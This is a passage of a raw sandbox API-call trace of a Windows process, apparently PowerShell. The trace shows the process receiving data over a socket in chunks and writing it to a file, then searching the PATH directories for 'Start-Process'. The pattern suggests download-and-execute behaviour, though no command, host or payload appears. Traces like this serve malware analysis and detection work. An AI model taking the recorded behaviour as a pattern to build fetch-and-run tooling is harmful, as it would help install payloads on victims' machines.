lpNumberOfBytesWritten=0x5bfed4e5f8*=0x2da0, lpOverlapped=0x0) returned 1 [0200.098] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 5840 [0200.099] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x16d0, lpOverlapped=0x0) returned 1 [0200.100] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 8760 [0200.100] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x2238, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x2238, lpOverlapped=0x0) returned 1 [0200.100] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 11680 [0200.126] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x2da0, lpOverlapped=0x0) returned 1 [0200.126] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 29200 [0200.126] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x7210, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x7210, lpOverlapped=0x0) returned 1 [0200.127] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 46720 [0200.177] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0xb680, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0xb680, lpOverlapped=0x0) returned 1 [0200.179] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 32120 [0200.179] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x7d78, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x7d78, lpOverlapped=0x0) returned 1 [0200.180] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 2920 [0200.195] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 52560 [0200.233] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0082fa60*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfed4e598, lpOverlapped=0x0 | out: lpBuffer=0x1ef0082fa60*, lpNumberOfBytesWritten=0x5bfed4e598*=0x1000, lpOverlapped=0x0) returned 1 [0200.234] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081fe10*, nNumberOfBytesToWrite=0xc8b8, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081fe10*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0xc8b8, lpOverlapped=0x0) returned 1 [0200.235] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 40880 [0200.235] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x9fb0, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x9fb0, lpOverlapped=0x0) returned 1 [0200.236] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 8760 [0200.253] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x2238, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x2238, lpOverlapped=0x0) returned 1 [0200.253] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 37960 [0200.254] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x9448, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x9448, lpOverlapped=0x0) returned 1 [0200.254] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 14600 [0200.283] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x3908, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x3908, lpOverlapped=0x0) returned 1 [0200.283] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 37960 [0200.283] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x9448, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x9448, lpOverlapped=0x0) returned 1 [0200.284] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 17520 [0200.309] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x4470, lpOverlapped=0x0) returned 1 [0200.309] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 37960 [0200.309] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x9448, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x9448, lpOverlapped=0x0) returned 1 [0200.312] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 5840 [0200.312] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x16d0, lpOverlapped=0x0) returned 1 [0200.313] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 11680 [0200.338] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x2da0, lpOverlapped=0x0) returned 1 [0200.338] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 49640 [0200.338] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0xc1e8, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0xc1e8, lpOverlapped=0x0) returned 1 [0200.339] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 11680 [0200.367] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x2da0, lpOverlapped=0x0) returned 1 [0200.367] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 49640 [0200.368] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0xc1e8, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0xc1e8, lpOverlapped=0x0) returned 1 [0200.369] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 11680 [0200.396] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x2da0, lpOverlapped=0x0) returned 1 [0200.396] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 52560 [0200.397] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0xcd50, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0xcd50, lpOverlapped=0x0) returned 1 [0200.398] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 23360 [0200.426] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x5b40, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x5b40, lpOverlapped=0x0) returned 1 [0200.426] recv (in: s=0x8f8, buf=0x1ef0081f978, len=65536, flags=0 | out: buf=0x1ef0081f978*) returned 43800 [0200.427] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0xab18, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0xab18, lpOverlapped=0x0) returned 1 [0200.428] recv (in: s=0x8f8, buf=0x1ef0081f978, len=46359, flags=0 | out: buf=0x1ef0081f978*) returned 20440 [0200.452] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x4fd8, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x4fd8, lpOverlapped=0x0) returned 1 [0200.452] recv (in: s=0x8f8, buf=0x1ef0081f978, len=25919, flags=0 | out: buf=0x1ef0081f978*) returned 25919 [0200.454] SetEvent (hEvent=0x7a4) returned 1 [0200.454] WriteFile (in: hFile=0x788, lpBuffer=0x1ef0081f978*, nNumberOfBytesToWrite=0x653f, lpNumberOfBytesWritten=0x5bfed4e5f8, lpOverlapped=0x0 | out: lpBuffer=0x1ef0081f978*, lpNumberOfBytesWritten=0x5bfed4e5f8*=0x653f, lpOverlapped=0x0) returned 1 [0200.462] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5bfed4e3b0, nSize=0xbc | out: lpBuffer="葐\x06ǯ") returned 0x0 [0200.462] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x5bfed4e220, nSize=0xbc | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0200.462] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bfed4e1e0, nSize=0xbc | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0200.463] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef6e3d9f90 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0200.464] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x5bfed4e1e0, nSize=0xbc | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0200.464] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0200.464] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0200.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0200.465] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e450 | out: lpFileInformation=0x5bfed4e450*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0200.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e3c0) returned 1 [0200.465] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0200.465] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0200.465] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Start-Process.*", lpFindFileData=0x5bfed4e0e0 | out: lpFindFileData=0x5bfed4e0e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2d0) returned 1 [0200.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e280) returned 1 [0200.465] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0200.466] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0200.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0200.466] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e450 | out: lpFileInformation=0x5bfed4e450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xa55ee53a, ftLastAccessTime.dwHighDateTime=0x1d5e1c4, ftLastWriteTime.dwLowDateTime=0xa55ee53a, ftLastWriteTime.dwHighDateTime=0x1d5e1c4, nFileSizeHigh=0x0, nFileSizeLow=0x100000)) returned 1 [0200.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0200.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e3c0) returned 1 [0200.466] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0200.466] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0200.466] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\Start-Process.*", lpFindFileData=0x5bfed4e0e0 | out: lpFindFileData=0x5bfed4e0e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2d0) returned 1 [0200.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e280) returned 1 [0200.466] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0200.466] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0200.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0200.466] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e450 | out: lpFileInformation=0x5bfed4e450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x345c13e6, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x345c13e6, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0200.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0200.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e3c0) returned 1 [0200.467] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0200.467] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0200.467] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\Start-Process.*", lpFindFileData=0x5bfed4e0e0 | out: lpFindFileData=0x5bfed4e0e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2d0) returned 1 [0200.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e280) returned 1 [0200.467] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0200.467] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0200.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0200.467] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e450 | out: lpFileInformation=0x5bfed4e450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x97384b75, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x97384b75, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x14000)) returned 1 [0200.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0200.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e3c0) returned 1 [0200.467] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0200.468] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0200.468] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Start-Process.*", lpFindFileData=0x5bfed4e0e0 | out: lpFindFileData=0x5bfed4e0e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2d0) returned 1 [0200.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e280) returned 1 [0200.468] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0200.468] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0200.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0200.468] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e450 | out: lpFileInformation=0x5bfed4e450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9765981c, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9765981c, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0200.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0200.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e3c0) returned 1 [0200.469] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0200.469] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0200.469] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Start-Process.*", lpFindFileData=0x5bfed4e0e0 | out: lpFindFileData=0x5bfed4e0e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0200.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2d0) returned 1 [0200.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e280) returned 1 [0200.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0200.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0200.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e370) returned 1 [0200.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e450 | out: lpFileInformation=0x5bfed4e450*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e330) returned 1 [0200.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e3c0) returned 1 [0200.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0200.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0200.469] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Start-Process.*", 